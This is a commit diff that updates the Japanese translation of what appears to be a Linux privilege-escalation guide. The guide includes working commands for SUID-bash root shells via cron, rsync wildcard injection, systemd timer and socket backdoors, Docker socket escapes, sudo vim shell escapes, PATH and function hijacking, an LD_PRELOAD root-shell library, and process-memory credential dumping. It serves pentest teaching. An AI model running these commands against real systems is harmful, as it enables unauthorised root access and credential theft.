Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

This commit is contained in:
Translator 2025-08-19 08:29:41 +00:00
parent 0b8287958d
commit 2888eeea1c
4 changed files with 368 additions and 165 deletions

View File

@ -96,6 +96,7 @@
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)

View File

@ -6,7 +6,7 @@
### OS情報 ### OS情報
まず、実行中のOSについての知識を得ることから始めましょう。 OSの知識を得ることから始めましょう。
```bash ```bash
(cat /proc/version || uname -a ) 2>/dev/null (cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems lsb_release -a 2>/dev/null # old, not by default on many systems
@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
``` ```
### Path ### Path
もしあなたが`PATH`変数内の任意のフォルダーに**書き込み権限を持っている場合**、いくつかのライブラリやバイナリをハイジャックできるかもしれません: もしあなたが`PATH`変数内の任意のフォルダーに**書き込み権限を持っている場合**、いくつかのライブラリやバイナリをハイジャックできるかもしれません
```bash ```bash
echo $PATH echo $PATH
``` ```
@ -158,18 +158,18 @@ rpm -qa #Centos
``` ```
SSHアクセスがある場合、**openVAS**を使用して、マシンにインストールされている古いおよび脆弱なソフトウェアをチェックすることもできます。 SSHアクセスがある場合、**openVAS**を使用して、マシンにインストールされている古いおよび脆弱なソフトウェアをチェックすることもできます。
> [!NOTE] > _これらのコマンドはほとんど役に立たない多くの情報を表示するため、インストールされているソフトウェアのバージョンが既知のエクスプロイトに対して脆弱かどうかをチェックするOpenVASや同様のアプリケーションを推奨します_ > [!NOTE] > _これらのコマンドはほとんど役に立たない多くの情報を表示するため、インストールされているソフトウェアのバージョンが既知の脆弱性に対して脆弱かどうかをチェックするOpenVASや同様のアプリケーションを推奨します_
## プロセス ## プロセス
実行中の**プロセス**を確認し、どのプロセスが**必要以上の特権を持っているか**をチェックしてください例えば、rootによって実行されているtomcatなど 実行中の**プロセス**を確認し、**権限が過剰なプロセス**がないかチェックしてください例えば、rootによって実行されているtomcatなど
```bash ```bash
ps aux ps aux
ps -ef ps -ef
top -n 1 top -n 1
``` ```
常に可能な [**electron/cef/chromiumデバッガー**]が実行されているか確認してください。これを悪用して特権を昇格させることができます](electron-cef-chromium-debugger-abuse.md)**Linpeas**プロセスのコマンドライン内の `--inspect` パラメータをチェックすることでそれらを検出します。\ 常に可能な [**electron/cef/chromiumデバッガー**] が実行されているか確認してください。これを悪用して特権を昇格させることができます。 **Linpeas** はプロセスのコマンドライン内の `--inspect` パラメータをチェックすることでそれらを検出します。\
また、**プロセスのバイナリに対する権限を確認してください**。誰かを上書きできるかもしれません。 また、**プロセスのバイナリに対する権限を確認してください**。もしかしたら誰かの上書きができるかもしれません。
### プロセス監視 ### プロセス監視
@ -179,12 +179,12 @@ top -n 1
サーバーのいくつかのサービスは、**メモリ内に平文で資格情報を保存します**。\ サーバーのいくつかのサービスは、**メモリ内に平文で資格情報を保存します**。\
通常、他のユーザーに属するプロセスのメモリを読むには**root権限**が必要です。したがって、これは通常、すでにrootであり、さらに多くの資格情報を発見したいときにより有用です。\ 通常、他のユーザーに属するプロセスのメモリを読むには**root権限**が必要です。したがって、これは通常、すでにrootであり、さらに多くの資格情報を発見したいときにより有用です。\
ただし、**通常のユーザーとしては、自分が所有するプロセスのメモリを読むことができることを忘れないでください**。 ただし、**通常のユーザーとしては、自分が所有するプロセスのメモリを読むことができます**。
> [!WARNING] > [!WARNING]
> 現在、ほとんどのマシンは**デフォルトでptraceを許可していない**ため、特権のないユーザーに属する他のプロセスをダンプすることはできません。 > 現在、ほとんどのマシンは**デフォルトでptraceを許可していない**ため、特権のないユーザーに属する他のプロセスをダンプすることはできません。
> >
> ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ はptraceのアクセス可能性を制御します > ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ はptraceのアクセス可能性を制御します
> >
> - **kernel.yama.ptrace_scope = 0**: 同じuidを持つ限り、すべてのプロセスをデバッグできます。これがptracingが機能していた古典的な方法です。 > - **kernel.yama.ptrace_scope = 0**: 同じuidを持つ限り、すべてのプロセスをデバッグできます。これがptracingが機能していた古典的な方法です。
> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグできます。 > - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグできます。
@ -193,7 +193,7 @@ top -n 1
#### GDB #### GDB
FTPサービスのメモリにアクセスできる場合例えば、ヒープを取得し、その資格情報の中を検索することができます。 FTPサービスのメモリにアクセスできる場合例えば、ヒープを取得し、その資格情報を内部で検索することができます。
```bash ```bash
gdb -p <FTP_PROCESS_PID> gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings (gdb) info proc mappings
@ -215,7 +215,7 @@ done
``` ```
#### /proc/$pid/maps & /proc/$pid/mem #### /proc/$pid/maps & /proc/$pid/mem
特定のプロセスIDに対して、**mapsはそのプロセスの**仮想アドレス空間内でメモリがどのようにマッピングされているかを示します。また、**各マッピングされた領域の権限**も表示されます。**mem**擬似ファイルは**プロセスのメモリ自体を公開します**。**maps**ファイルから、どの**メモリ領域が読み取り可能であるか**とそのオフセットがわかります。この情報を使用して、**memファイルにシークし、すべての読み取り可能な領域をファイルにダンプします**。 特定のプロセスIDに対して、**mapsはそのプロセスの**仮想アドレス空間内でメモリがどのようにマッピングされているかを示します。また、**各マッピングされた領域の権限**も示します。**mem**擬似ファイルは**プロセスのメモリ自体を公開します**。**maps**ファイルから、どの**メモリ領域が読み取り可能であるか**とそのオフセットがわかります。この情報を使用して、**memファイルにシークし、すべての読み取り可能な領域をファイルにダンプします**。
```bash ```bash
procdump() procdump()
( (
@ -230,8 +230,8 @@ rm $1*.bin
``` ```
#### /dev/mem #### /dev/mem
`/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\ `/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリではありません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\
通常、`/dev/mem`**root****kmem** グループのみに読み取り可能です。 通常、`/dev/mem`**root****kmem** グループのみが読み取ることができます。
``` ```
strings /dev/mem -n10 | grep -i PASS strings /dev/mem -n10 | grep -i PASS
``` ```
@ -266,7 +266,7 @@ Press Ctrl-C to end monitoring without terminating the process.
``` ```
### ツール ### ツール
プロセスのメモリをダンプするには、次のものを使用できます: プロセスのメモリをダンプするには、次のツールを使用できます:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、あなたが所有するプロセスをダンプできます - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、あなたが所有するプロセスをダンプできます
@ -288,16 +288,16 @@ strings *.dump | grep -i password
``` ```
#### mimipenguin #### mimipenguin
ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の資格情報を盗む** ことができ、いくつかの **よく知られたファイル** からも取得します。正しく動作するには root 権限が必要です。 ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の認証情報を盗む** ことができ、いくつかの **よく知られたファイル** からも情報を取得します。正しく動作するためには、root権限が必要です。
| 機能 | プロセス名 | | 機能 | プロセス名 |
| ------------------------------------------------ | --------------------- | | ------------------------------------------------ | -------------------- |
| GDM パスワード (Kali デスクトップ、Debian デスクトップ) | gdm-password | | GDM パスワード (Kali デスクトップ、Debian デスクトップ) | gdm-password |
| Gnome キーチェーン (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon | | Gnome キーチェーン (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon |
| LightDM (Ubuntu デスクトップ) | lightdm | | LightDM (Ubuntu デスクトップ) | lightdm |
| VSFTPd (アクティブ FTP 接続) | vsftpd | | VSFTPd (アクティブ FTP 接続) | vsftpd |
| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 | | Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 |
| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: | | OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash ```bash
@ -323,12 +323,12 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
``` ```
### Cron path ### Cron path
例えば、_/etc/crontab_ の中に次のような PATH が見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ 例えば、_ /etc/crontab _の中にPATHが見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
(_ユーザー "user" が /home/user に対して書き込み権限を持っていることに注意してください_) (_ユーザー「user」が/home/userに書き込み権限を持っていることに注意してください_)
この crontab の中で、root ユーザーがパスを設定せずにコマンドやスクリプトを実行しようとするとします。例えば: _\* \* \* \* root overwrite.sh_\ このcrontabの中で、rootユーザーがパスを設定せずにコマンドやスクリプトを実行しようとするとします。例えば: _\* \* \* \* root overwrite.sh_\
その場合、次のようにして root シェルを取得できます: その場合、次のようにしてrootシェルを取得できます:
```bash ```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed #Wait cron job to be executed
@ -336,11 +336,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
``` ```
### Cron using a script with a wildcard (Wildcard Injection) ### Cron using a script with a wildcard (Wildcard Injection)
もしルートによって実行されるスクリプトがコマンド内に“**\***”を含んでいる場合、これを利用して予期しないこと(例えば、権昇格)を引き起こすことができます。例: もしルートによって実行されるスクリプトにコマンド内に「**\***」が含まれている場合、これを利用して予期しないこと(例えば、権昇格)を引き起こすことができます。例:
```bash ```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
``` ```
**もしワイルドカードが** _**/some/path/\***_ **のようなパスの前にある場合、それは脆弱ではありません(** _**./\***_ **もそうです)。** **もしワイルドカードの前に** _**/some/path/\***_ **のようなパスがある場合、脆弱ではありません(** _**./\***_ **もそうです)。**
次のページを読んで、他のワイルドカードの悪用テクニックを学んでください: 次のページを読んで、他のワイルドカードの悪用テクニックを学んでください:
@ -362,13 +362,13 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
``` ```
### Frequent cron jobs ### Frequent cron jobs
1分ごと、2分ごと、または5分ごとに実行されているプロセスを検索するためにプロセスを監視できます。これを利用して特権を昇格させることができるかもしれません。 1分、2分、または5分ごとに実行されているプロセスを検索するためにプロセスを監視できます。これを利用して特権を昇格させることができるかもしれません。
例えば、**1分間0.1秒ごとに監視**し、**実行回数が少ないコマンドでソート**し、最も実行されたコマンドを削除するには、次のようにします: 例えば、**1分間0.1秒ごとに監視**し、**実行回数が少ないコマンドでソート**し、最も実行されたコマンドを削除するには、次のようにします:
```bash ```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
``` ```
**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます** (これは開始されるすべてのプロセスを監視し、リストします)。 **あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます** (これにより、開始されるすべてのプロセスが監視され、リストされます)。
### 見えないcronジョブ ### 見えないcronジョブ
@ -413,13 +413,13 @@ systemctl list-timers --all
``` ```
### Writable timers ### Writable timers
タイマーを変更できる場合、systemd.unitのいくつかの実行を実行させることができます例えば、`.service``.target`)。 タイマーを変更できる場合、systemd.unitのいくつかの実行`.service``.target`などを実行させることができます
```bash ```bash
Unit=backdoor.service Unit=backdoor.service
``` ```
ドキュメントでは、Unitについて次のように説明されています ドキュメントでは、Unitについて次のように説明されています
> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルト設定されます上記参照。アクティブにされるユニット名とタイマーユニットのユニット名は、接尾辞を除いて同一にすることが推奨されます。 > このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルト設定されます上記参照。アクティブにされるユニット名とタイマーユニットのユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。
したがって、この権限を悪用するには、次のことが必要です: したがって、この権限を悪用するには、次のことが必要です:
@ -446,14 +446,14 @@ UnixドメインソケットUDSは、クライアント-サーバーモデ
**`man systemd.socket`でソケットについてさらに学びましょう。** このファイル内では、いくつかの興味深いパラメータを設定できます: **`man systemd.socket`でソケットについてさらに学びましょう。** このファイル内では、いくつかの興味深いパラメータを設定できます:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、**ソケットがリッスンする場所を示すために要約が使用されます**AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。 - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、**ソケットがリッスンする場所を示すために要約が使用されます**AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。
- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットがすべての受信トラフィックを無条件に処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことを推奨します。 - `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットがすべての受信トラフィックを無条件に処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことが推奨されます。
- `ExecStartPre`, `ExecStartPost`: リッスンする**ソケット**/FIFOが**作成**され、バインドされる前または後に**実行される**1つ以上のコマンドラインを取ります。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。 - `ExecStartPre`, `ExecStartPost`: リッスンする**ソケット**/FIFOが**作成**され、バインドされる前または後に**実行される**1つ以上のコマンドラインを取ります。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。
- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFOが**閉じられ**、削除される前または後に**実行される**追加の**コマンド**です。 - `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFOが**閉じられ**、削除される前または後に**実行される**追加の**コマンド**です。
- `Service`: **受信トラフィック**で**アクティブ化**する**サービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトでは、ソケットと同じ名前のサービスサフィックスが置き換えられたものになります。ほとんどの場合、このオプションを使用する必要はありません。 - `Service`: **受信トラフィック**で**アクティブ化する**サービスユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトでは、ソケットと同じ名前のサービスサフィックスが置き換えられたものになります。ほとんどの場合、このオプションを使用する必要はありません。
### 書き込み可能な.socketファイル ### 書き込み可能な.socketファイル
**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**することができ、ソケットが作成される前にバックドアが実行されます。したがって、**おそらくマシンが再起動するまで待つ必要があります。**\ **書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**することができ、ソケットが作成される前にバックドアが実行されます。したがって、**マシンが再起動されるまで待つ必要があるかもしれません。**\
_システムがそのソケットファイル構成を使用している必要があり、さもなければバックドアは実行されません_ _システムがそのソケットファイル構成を使用している必要があり、さもなければバックドアは実行されません_
### 書き込み可能なソケット ### 書き込み可能なソケット
@ -504,7 +504,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
Docker CLIが利用できない場合でも、DockerソケットはDocker APIと`curl`コマンドを使用して操作できます。 Docker CLIが利用できない場合でも、DockerソケットはDocker APIと`curl`コマンドを使用して操作できます。
1. **Dockerイメージの一覧:** 利用可能なイメージのリストを取得します。 1. **Dockerイメージのリスト:** 利用可能なイメージのリストを取得します。
```bash ```bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
@ -564,13 +564,13 @@ runc-privilege-escalation.md
D-Busは、アプリケーションが効率的に相互作用し、データを共有できるようにする高度な**プロセス間通信IPCシステム**です。現代のLinuxシステムを念頭に設計されており、さまざまな形式のアプリケーション通信のための堅牢なフレームワークを提供します。 D-Busは、アプリケーションが効率的に相互作用し、データを共有できるようにする高度な**プロセス間通信IPCシステム**です。現代のLinuxシステムを念頭に設計されており、さまざまな形式のアプリケーション通信のための堅牢なフレームワークを提供します。
このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせます。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関する信号は、音楽プレーヤーをミュートさせ、ユーザー体験を向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。 このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせます。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関する信号は、音楽プレーヤーをミュートさせ、ユーザーエクスペリエンスを向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。
D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの累積的な効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を許可する可能性があります。 D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの一致の累積効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を可能にする場合があります。
`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に記載されています。 `/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に説明されています。
指定されたユーザーやグループないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。 指定されたユーザーやグループないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。
```xml ```xml
<policy user="root"> <policy user="root">
<allow own="fi.w1.wpa_supplicant1"/> <allow own="fi.w1.wpa_supplicant1"/>
@ -587,7 +587,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
## **ネットワーク** ## **ネットワーク**
ネットワークを列挙し、マシンの位置を特定することは常に興味深いです。 ネットワークを列挙し、マシンの位置を把握することは常に興味深いです。
### 一般的な列挙 ### 一般的な列挙
```bash ```bash
@ -629,7 +629,7 @@ timeout 1 tcpdump
### 一般的な列挙 ### 一般的な列挙
**who**で自分が誰であるか、どの**privileges**を持っているか、システムにどの**users**がいるか、どのユーザーが**login**できるか、どのユーザーが**root privileges**を持っているかを確認してください **who**で自分が誰であるか、どの**privileges**を持っているか、システムにどの**users**がいるか、どのユーザーが**login**できるか、どのユーザーが**root privileges**を持っているかを確認します
```bash ```bash
#Info about me #Info about me
id || (whoami && groups) 2>/dev/null id || (whoami && groups) 2>/dev/null
@ -653,12 +653,12 @@ gpg --list-keys 2>/dev/null
``` ```
### Big UID ### Big UID
一部のLinuxバージョンには、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグが影響を与えました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) [here](https://twitter.com/paragonsec/status/1071152249529884674)。\ 一部のLinuxバージョンには、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグが影響を与えました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) および [here](https://twitter.com/paragonsec/status/1071152249529884674)。\
**これを利用する**には: **`systemd-run -t /bin/bash`** **これを利用する**には: **`systemd-run -t /bin/bash`**
### Groups ### Groups
ルート特権を付与する可能性のある**グループのメンバー**であるか確認してください: あなたがルート特権を付与する可能性のある**グループのメンバー**であるか確認してください:
{{#ref}} {{#ref}}
interesting-groups-linux-pe/ interesting-groups-linux-pe/
@ -694,7 +694,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
### $PATH ### $PATH
もし**$PATHのいくつかのフォルダ内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダ内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー理想的にはrootによって実行されるコマンドの名前であり、$PATH内のあなたの書き込み可能なフォルダよりも前に位置するフォルダから**読み込まれない**ものでなければなりません もし**$PATHのいくつかのフォルダ内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダ内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー理想的にはrootによって実行されるコマンドの名前であり、$PATH内のあなたの書き込み可能なフォルダよりも前に位置するフォルダから**読み込まれない**ものである必要があります
### SUDO and SUID ### SUDO and SUID
@ -720,7 +720,7 @@ $ sudo -l
User demo may run the following commands on crashlab: User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/vim
``` ```
この例では、ユーザー `demo` `root` として `vim` を実行できます。これにより、ルートディレクトリにsshキーを追加するか、`sh` を呼び出すことでシェルを取得することが簡単になります。 この例では、ユーザー `demo` `root` として `vim` を実行できます。これにより、ルートディレクトリにsshキーを追加するか、`sh` を呼び出すことでシェルを取得することが簡単になります。
``` ```
sudo vim -c '!sh' sudo vim -c '!sh'
``` ```
@ -763,31 +763,31 @@ export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less" #Put your backdoor in /tmp and name it "less"
sudo less sudo less
``` ```
この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合にも使用できます(常に** _**strings**_ **を使って奇妙な SUID バイナリの内容を確認してください)** この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合**にも使用できます(常に奇妙な SUID バイナリの内容を _**strings**_ で確認してください)
[Payload examples to execute.](payloads-to-execute.md) [実行するペイロードの例。](payloads-to-execute.md)
### コマンドパスを持つ SUID バイナリ ### コマンドパスを持つ SUID バイナリ
もし **suid** バイナリが **パスを指定して別のコマンドを実行する場合**、その場合は、suid ファイルが呼び出しているコマンドと同名の **関数をエクスポート** しようとすることができます。 もし **suid** バイナリが **パスを指定して別のコマンドを実行する場合**、その場合は、suid ファイルが呼び出しているコマンドと同名の **関数をエクスポート**しようとすることができます。
例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートする必要があります: 例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートする必要があります:
```bash ```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service export -f /usr/sbin/service
``` ```
そのため、suidバイナリを呼び出すと、この関数が実行されます その、suidバイナリを呼び出すと、この関数が実行されます
### LD_PRELOAD & **LD_LIBRARY_PATH** ### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ`libc.so`を含むよりも前にロードされる1つ以上の共有ライブラリ.soファイルを指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。 **LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ`libc.so`を含むよりも前にロードされる1つ以上の共有ライブラリ.soファイルを指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。
しかし、システムのセキュリティを維持し、この機能が特に**suid/sgid**実行可能ファイルで悪用されるのを防ぐために、システムはいくつかの条件を強制します: しかし、システムのセキュリティを維持し、この機能が特に**suid/sgid**実行可能ファイルで悪用されるのを防ぐために、システムはいくつかの条件を強制します:
- ローダーは、実ユーザーID_ruid_が有効ユーザーID_euid_と一致しない実行可能ファイルに対して**LD_PRELOAD**を無視します。 - ローダーは、実ユーザーID_ruid_が有効ユーザーID_euid_と一致しない実行可能ファイルに対して**LD_PRELOAD**を無視します。
- suid/sgidの実行可能ファイルに対しては、suid/sgidでもある標準パスのライブラリのみがプリロードされます。 - suid/sgidの実行可能ファイルに対しては、suid/sgidでもある標準パスのライブラリのみがプリロードされます。
特権昇格は、`sudo`でコマンドを実行する能力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo`でコマンドが実行されるときも認識されるため、特権のある状態で任意のコードが実行される可能性があります。 特権昇格は、`sudo`でコマンドを実行する能力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo`でコマンドが実行されるときも認識されるため、特権のある状態で任意のコードが実行される可能性があります。
``` ```
Defaults env_keep += LD_PRELOAD Defaults env_keep += LD_PRELOAD
``` ```
@ -809,12 +809,12 @@ system("/bin/bash");
cd /tmp cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles gcc -fPIC -shared -o pe.so pe.c -nostartfiles
``` ```
最後に、**特権を昇格**させて実行します。 最後に、**特権を昇格させる** 実行中
```bash ```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
``` ```
> [!CAUTION] > [!CAUTION]
> 攻撃者が **LD_LIBRARY_PATH** 環境変数を制御している場合、同様の特権昇格が悪用される可能性があります。なぜなら、攻撃者はライブラリが検索されるパスを制御しているからです。 > 攻撃者が**LD_LIBRARY_PATH**環境変数を制御している場合、同様の特権昇格が悪用される可能性があります。なぜなら、攻撃者はライブラリが検索されるパスを制御しているからです。
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -842,7 +842,7 @@ strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
``` ```
